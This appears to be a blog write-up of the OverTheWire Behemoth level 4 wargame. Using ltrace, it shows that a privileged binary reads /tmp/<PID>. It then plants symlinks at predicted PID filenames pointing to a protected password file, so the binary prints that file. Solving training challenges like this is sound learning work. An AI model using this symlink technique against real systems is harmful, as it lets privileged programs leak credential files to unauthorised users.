OverTheWire.org - Behemoth - Level 4 Writeup

Let's start by running the vulnerable code:

behemoth4@behemoth:~$  /behemoth/behemoth4
PID not found!


Not so much information, so try again with ltrace:


behemoth4@behemoth:~$ ltrace /behemoth/behemoth4
__libc_start_main(0x804857b, 1, 0xffffd784, 0x8048640 <unfinished ...>
getpid()                                                                                                                  = 17020
sprintf("/tmp/17020", "/tmp/%d", 17020)                                                                                   = 10
fopen("/tmp/17020", "r")                                                                                                  = 0
puts("PID not found!"PID not found!
)                                                                                                    = 15
+++ exited (status 0) +++


It seems that the executable runs, get its own process id with getpid() and then tries to open a file in /tmp/ with the same name as its PID.

PID is usually an integer number that the operating system assigns incrementally to processes when an executable is launched.

PIDs are system wide: if the system is not heavily used, we may guess the next execution PID that will probably be the last execution PID +1 (or +2 or +3).

Now let's try to figure out what the vulnerable program does with the /tmp/$PID file.

Last execution had PID 17020
So try to create a file /tmp/17023 with touch and execute again the vulnerable code.
(17023 because we have to count +1 for the next execution, +1 for the execution of the touch command and one other more for ltrace)

behemoth4@behemoth:~$ touch /tmp/17023
behemoth4@behemoth:~$ ltrace /behemoth/behemoth4
getpid()                                                                                                                  = 17023
sprintf("/tmp/17023", "/tmp/%d", 17023)                                                                                   = 10
fopen("/tmp/17023", "r")                                                                                                  = 0x804b008
sleep(1)                                                                                                                  = 0
puts("Finished sleeping, fgetcing"Finished sleeping, fgetcing
)                                                                                       = 28
fgetc(0x804b008)                                                                                                          = '\377'
fclose(0x804b008)                                                                                                         = 0
+++ exited (status 0) +++

The vulnerable executable found the file, opened it assigning a filedescriptor (0x0804b008)

Then executed fgetc() and fclose() on the filedescriptor.
In other words it read from the file.

Now, repeat a few times putting something inside the file and guessing the PID...

behemoth4@behemoth:~$ echo "AAAa" > /tmp/17051
behemoth4@behemoth:~$ ltrace /behemoth/behemoth4  1
__libc_start_main(0x804857b, 2, 0xffffd784, 0x8048640 <unfinished ...>
getpid()                                                                                                                  = 17051
sprintf("/tmp/17051", "/tmp/%d", 17051)                                                                                   = 10
fopen("/tmp/17051", "r")                                                                                                  = 0x804b008
sleep(1)                                                                                                                  = 0
puts("Finished sleeping, fgetcing"Finished sleeping, fgetcing
)                                                                                       = 28
fgetc(0x804b008)                                                                                                          = 'A'
putchar(65, 0x80486c8, 0x429b, 0x8048591)                                                                                 = 65
fgetc(0x804b008)                                                                                                          = 'A'
putchar(65, 0x80486c8, 0x429b, 0x8048591)                                                                                 = 65
fgetc(0x804b008)                                                                                                          = 'A'
putchar(65, 0x80486c8, 0x429b, 0x8048591)                                                                                 = 65
fgetc(0x804b008)                                                                                                          = 'a'
putchar(97, 0x80486c8, 0x429b, 0x8048591)                                                                                 = 97
fgetc(0x804b008)                                                                                                          = '\n'
putchar(10, 0x80486c8, 0x429b, 0x8048591AAAa
)                                                                                 = 10
fgetc(0x804b008)                                                                                                          = '\377'
fclose(0x804b008)                                                                                                         = 0
+++ exited (status 0) +++

It reads the content of the file character by charachter and print it out.


  • Priviledge executable that reads from a file 
  • We can guess the file name
We can exploit this by creating a link to the password file named /tmp/$PID where $PID is the next execution PID

To make it more reliable we can create a handful links with increasing numbers (maybe 5-10 larger than last execution)


Then we can execute the vulnerable program

behemoth4@behemoth:~$ ln -s /etc/behemoth_pass/behemoth5 /tmp/17142
behemoth4@behemoth:~$ ln -s /etc/behemoth_pass/behemoth5 /tmp/17143
behemoth4@behemoth:~$ ln -s /etc/behemoth_pass/behemoth5 /tmp/17144
behemoth4@behemoth:~$ ln -s /etc/behemoth_pass/behemoth5 /tmp/17145
behemoth4@behemoth:~$  /behemoth/behemoth4
PID not found!
behemoth4@behemoth:~$ ltrace /behemoth/behemoth4
__libc_start_main(0x804857b, 1, 0xffffd784, 0x8048640 <unfinished ...>
getpid()                                                                                                                  = 17141
sprintf("/tmp/17141", "/tmp/%d", 17141)                                                                                   = 10
fopen("/tmp/17141", "r")                                                                                                  = 0
puts("PID not found!"PID not found!
)                                                                                                    = 15
+++ exited (status 0) +++

Then the winning execution:

behemoth4@behemoth:~$  /behemoth/behemoth4
Finished sleeping, fgetcing
a********g

There we go!

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.